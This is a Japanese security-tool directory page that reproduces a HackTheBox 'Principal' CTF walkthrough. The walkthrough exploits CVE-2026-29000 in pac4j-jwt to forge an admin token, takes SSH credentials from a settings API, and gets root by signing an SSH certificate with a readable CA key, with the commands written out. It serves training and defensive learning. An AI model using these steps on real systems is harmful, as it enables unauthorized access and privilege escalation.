Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Principal-HackTheBox — # CVE-2026-29000をpac4j-jwtで悪用し、認証をバイパスしてAPI設定から認証情報を抽出し、HackTheBox Linuxマシン上でSSH CA署名を介して権限を昇格させる詳細なウォークスルー | Kitploit
ツール/GitHubGitHub/ledksv/principal-hackthebox
特権昇格脆弱性分析エクスプロイトウェブセキュリティ暗号化CTFペネトレーションテスト認証
GitHubledksv/principal-hackthebox

Principal-HackTheBox

# CVE-2026-29000をpac4j-jwtで悪用し、認証をバイパスしてAPI設定から認証情報を抽出し、HackTheBox Linuxマシン上でSSH CA署名を介して権限を昇格させる詳細なウォークスルー

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HackTheBox — Principal

難易度: 中級 OS: Linux プラットフォーム: HackTheBox


概要

pac4j-jwt v6.0.3 を実行している Web アプリケーション — CVE-2026-29000 に対して脆弱。公開 RSA 鍵は JWKS エンドポイント経由で認証なしで公開されており、これを使用して有効な管理者 JWE トークンを偽造し、認証を完全にバイパスできます。管理者アクセスを取得すると、設定 API から平文の SSH 認証情報が取得できます。サービスアカウントは deployers グループのメンバーであり、sshd が信頼する SSH CA 秘密鍵への読み取りアクセス権を持っています — root アクセスを許可する証明書に署名することで、このボックスの攻略が完了します。


1. 列挙

Web アプリケーションにブラウズし、ページソースを表示しました。メインの JavaScript バンドルが /static/js/app.js にあることを発見しました。

app.js 内で特定された主要な API エンドポイント:

root@kitploit:~
/api/auth/login
/api/auth/jwks      <- 公開鍵エンドポイント(認証なし)
/api/dashboard
/api/users
/api/settings

ページフッターに pac4j-jwt v6.0.3 が表示されました — CVE-2026-29000 に対して脆弱。


2. JWT 認証バイパス — CVE-2026-29000

認証なしの JWKS エンドポイントから RSA 公開鍵を取得しました:

root@kitploit:~
curl http://<TARGET_IP>:8080/api/auth/jwks
# RSA 公開鍵を返す(kid: enc-key-1)

CVE-2026-29000 により、公開鍵を使用して有効な JWE トークンを偽造できます — このライブラリは、秘密鍵を要求する代わりに公開鍵で暗号化されたトークンを誤って受け入れます。

PoC を使用して偽造された管理者トークンを生成しました:

root@kitploit:~
python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. 管理者 API アクセス

Burp Repeater で偽造トークンを Bearer トークンとして使用しました:

root@kitploit:~
Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

  • ロールを確認: ROLE_ADMIN
  • アクティビティログにユーザー svc-deploy の CERT_ISSUED アクションが表示されました

GET /api/settings → 200 OK

  • セキュリティ設定に SSH 認証情報が平文で見つかりました
  • SSH 証明書認証が有効
  • SSH CA パス: /opt/principal/ssh/

4. 初期アクセス

/api/settings から取得した認証情報を使用して SSH でログインしました:

root@kitploit:~
ssh svc-deploy@<TARGET_IP>

ユーザーフラグを取得しました。


5. 権限昇格 — SSH CA 署名

svc-deploy は deployers グループに所属しており、/opt/principal/ssh/ への読み取りアクセス権があります:

root@kitploit:~
ls -la /opt/principal/ssh/
# ca        — RSA 4096 ビット CA 秘密鍵(deployers が読み取り可能)
# ca.pub    — CA 公開鍵
# README.txt — CA が sshd によって信頼されていることを確認

CA 秘密鍵は読み取り可能です。sshd がこの CA を信頼しているため、この CA によって署名された証明書はすべて受け入れられます — root アクセスを許可する証明書も含みます。

root@kitploit:~
# 新しい鍵ペアを生成
ssh-keygen -t ed25519 -f /tmp/privesc

# CA で署名し、プリンシパル 'root' を付与
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# root として SSH
ssh -i /tmp/privesc root@<TARGET_IP>

root フラグを取得しました。


フラグ

  • ユーザー: /home/svc-deploy/user.txt
  • ルート: /root/root.txt

重要な教訓

  • Web アプリの偵察中は常に JWT ライブラリのバージョンを確認すること — pac4j-jwt は Java アプリケーションで一般的です。
  • CVE-2026-29000: pac4j JWE 鍵の混乱 — 秘密鍵が必要な場所で公開鍵が受け入れられます。
  • API 設定エンドポイントは平文で認証情報を漏洩することがよくあります — 有効なトークンを取得したら、必ず認証済みのすべてのルートを列挙すること。
  • サービスアカウントが sshd によって信頼されている SSH CA 秘密鍵を読み取れる場合、root を含む任意のプリンシパルとして証明書に署名できます。ポストエクスプロイテーション中にグループメンバーシップと CA 鍵の権限を確認すること。
ツールをダウンロード